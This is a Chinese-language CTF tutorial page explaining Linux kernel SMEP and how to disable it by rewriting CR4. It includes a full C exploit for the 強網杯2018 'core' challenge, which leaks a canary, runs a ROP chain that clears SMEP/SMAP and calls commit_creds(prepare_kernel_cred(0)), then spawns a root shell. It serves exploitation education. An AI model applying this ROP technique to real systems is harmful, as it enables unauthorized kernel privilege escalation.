bypass-smep¶
SMEP¶
爲了防止 ret2usr
攻擊,內核開發者提出了 smep
保護,smep 全稱 Supervisor Mode Execution Protection
,是內核的一種保護措施,作用是當 CPU 處於 ring0
模式時,執行 用戶空間的代碼
會觸發頁錯誤;這個保護在 arm 中被稱爲 PXN
。
通過 qemu 啓動內核時的選項可以判斷是否開啓了 smep 保護。
CISCN2017_babydriver [master●●] grep smep ./boot.sh
qemu-system-x86_64 -initrd rootfs.cpio -kernel bzImage -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -enable-kvm -monitor /dev/null -m 64M --nographic -smp cores=1,threads=1 -cpu kvm64,+smep
也可以通過
CISCN2017_babydriver [master●●] grep smep /proc/cpuinfo
flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc cpuid aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx est tm2 ssse3 sdbg fma cx16 xtpr pdcm pcid sse4_1 sse4_2 x2apic movbe popcnt aes xsave avx f16c rdrand lahf_lm abm 3dnowprefetch cpuid_fault epb invpcid_single pti tpr_shadow vnmi flexpriority ept vpid fsgsbase tsc_adjust bmi1 avx2 smep bmi2 erms invpcid rdseed adx smap intel_pt xsaveopt dtherm ida arat pln pts
......
smep 和 CR4 寄存器¶
系統根據 CR4 寄存器的值判斷是否開啓 smep 保護,當 CR4 寄存器的第 20 位是 1 時,保護開啓;是 0 時,保護關閉。
例如,當
$CR4 = 0x1407f0 = 000 1 0100 0000 0111 1111 0000
mov cr4, 0x1407e0
# 0x1407e0 = 101 0 0000 0011 1111 00000
搜索一下從 vmlinux
中提取出的 gadget,很容易就能達到這個目的。
- 如何查看 CR4 寄存器的值?
- gdb 無法查看 cr4 寄存器的值,可以通過 kernel crash 時的信息查看。爲了關閉 smep 保護,常用一個固定值
0x6f0
,即mov cr4, 0x6f0
。
- gdb 無法查看 cr4 寄存器的值,可以通過 kernel crash 時的信息查看。爲了關閉 smep 保護,常用一個固定值
例題:強網杯2018 - core¶
這一次我們在啓動腳本中添加上 smep 與 smap 的選項:
qemu-system-x86_64 \
-m 128M \
-cpu qemu64-v1,+smep,+smap \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \
之後我們重新運行之前的 ret2usr 的 exp,發現直接 kernel panic 了,這是因爲我們想要執行用戶空間的函數指針,觸發了 SMEP 保護
那麼這裏我們只需要通過 ROP 來關閉 SMEP&SMAP 即可繼續 ret2usr,這裏筆者用與運算將 SMEP 與 SMAP 的兩位給清除掉了,實際上直接給 cr4 賦值 0x6f0
也是可以的(通常關了以後都是這個值)
前面我們使用 swapgs 和 iret 兩條指令來返回用戶態,這一次我們直接使用 swapgs_restore_regs_and_return_to_usermode
來返回用戶態
最終的 exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#define POP_RDI_RET 0xffffffff81000b2f
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RCX_RET 0xffffffff81021e53
#define POP_RAX_RET 0xffffffff810520cf
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET 0xffffffff8106669c
#define AND_RAX_RDI_RET 0xffffffff8102b45b
#define MOV_CR4_RAX_PUSH_RCX_POPFQ_RET 0xffffffff81002515
#define PUSHFQ_POP_RBX_RET 0xffffffff81131da4
#define IRETQ 0xffffffff813eb448
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81a008da
size_t commit_creds = NULL, prepare_kernel_cred = NULL;
void * (*prepare_kernel_cred_ptr)(void *);
int (*commit_creds_ptr)(void *);
size_t user_cs, user_ss, user_rflags, user_sp;
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}
void getRootPrivilige(void)
{
(*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}
void getRootShell(void)
{
if(getuid())
{
printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
exit(-1);
}
printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
system("/bin/sh");
}
void coreRead(int fd, char * buf)
{
ioctl(fd, 0x6677889B, buf);
}
void setOffValue(int fd, size_t off)
{
ioctl(fd, 0x6677889C, off);
}
void coreCopyFunc(int fd, size_t nbytes)
{
ioctl(fd, 0x6677889A, nbytes);
}
int main(int argc, char ** argv)
{
printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
saveStatus();
int fd = open("/proc/core", 2);
if(fd <0)
{
printf("\033[31m\033[1m[x] Failed to open the file: /proc/core !\033[0m\n");
exit(-1);
}
//get the addr
FILE* sym_table_fd = fopen("/tmp/kallsyms", "r");
if(sym_table_fd < 0)
{
printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
exit(-1);
}
char buf[0x50], type[0x10];
size_t addr;
while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
{
if(prepare_kernel_cred && commit_creds)
break;
if(!commit_creds && !strcmp(buf, "commit_creds"))
{
commit_creds_ptr = commit_creds = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
continue;
}
if(!strcmp(buf, "prepare_kernel_cred"))
{
prepare_kernel_cred_ptr = prepare_kernel_cred = addr;
printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
continue;
}
}
size_t offset = commit_creds - 0xffffffff8109c8e0;
// get the canary
size_t canary;
setOffValue(fd, 64);
coreRead(fd, buf);
canary = ((size_t *)buf)[0];
//construct the ropchain
size_t rop_chain[0x100], i = 0;
for(; i < 10;i++)
rop_chain[i] = canary;
rop_chain[i++] = MOV_RAX_CR4_ADD_RSP_8_POP_RBP_RET + offset;
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = POP_RDI_RET + offset;
rop_chain[i++] = 0xffffffffffcfffff;
rop_chain[i++] = AND_RAX_RDI_RET + offset;
rop_chain[i++] = MOV_CR4_RAX_PUSH_RCX_POPFQ_RET + offset;
rop_chain[i++] = (size_t)getRootPrivilige;
rop_chain[i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset;
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = *(size_t*) "arttnba3";
rop_chain[i++] = (size_t)getRootShell;
rop_chain[i++] = user_cs;
rop_chain[i++] = user_rflags;
rop_chain[i++] = user_sp;
rop_chain[i++] = user_ss;
write(fd, rop_chain, 0x800);
coreCopyFunc(fd, 0xffffffffffff0000 | (0x100));
}